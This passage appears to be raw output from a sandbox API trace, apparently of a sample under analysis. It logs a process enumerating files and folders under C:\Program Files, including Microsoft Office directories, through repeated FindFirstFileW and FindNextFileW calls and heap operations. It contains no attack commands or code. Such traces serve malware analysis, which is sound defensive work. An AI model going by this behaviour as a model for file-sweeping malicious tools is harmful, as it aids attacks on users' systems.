ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0216.654] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0216.654] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0216.654] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0216.654] GetProcessHeap () returned 0xc10000 [0216.654] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0216.655] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0216.655] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0216.655] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0216.655] GetProcessHeap () returned 0xc10000 [0216.655] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0216.656] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0216.656] GetProcessHeap () returned 0xc10000 [0216.656] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0216.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0216.658] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.658] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0216.658] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0216.659] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a86690, ftCreationTime.dwHighDateTime=0x1d5d4d7, ftLastAccessTime.dwLowDateTime=0x7eb83c20, ftLastAccessTime.dwHighDateTime=0x1d5b0da, ftLastWriteTime.dwLowDateTime=0x7eb83c20, ftLastWriteTime.dwHighDateTime=0x1d5b0da, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0216.659] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0216.659] GetProcessHeap () returned 0xc10000 [0216.659] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0216.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0216.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0216.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0216.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0216.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0216.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 0 [0216.662] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0216.662] GetProcessHeap () returned 0xc10000 [0216.662] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0216.662] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0216.663] GetProcessHeap () returned 0xc10000 [0216.663] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0216.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0216.692] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.751] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0216.752] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, 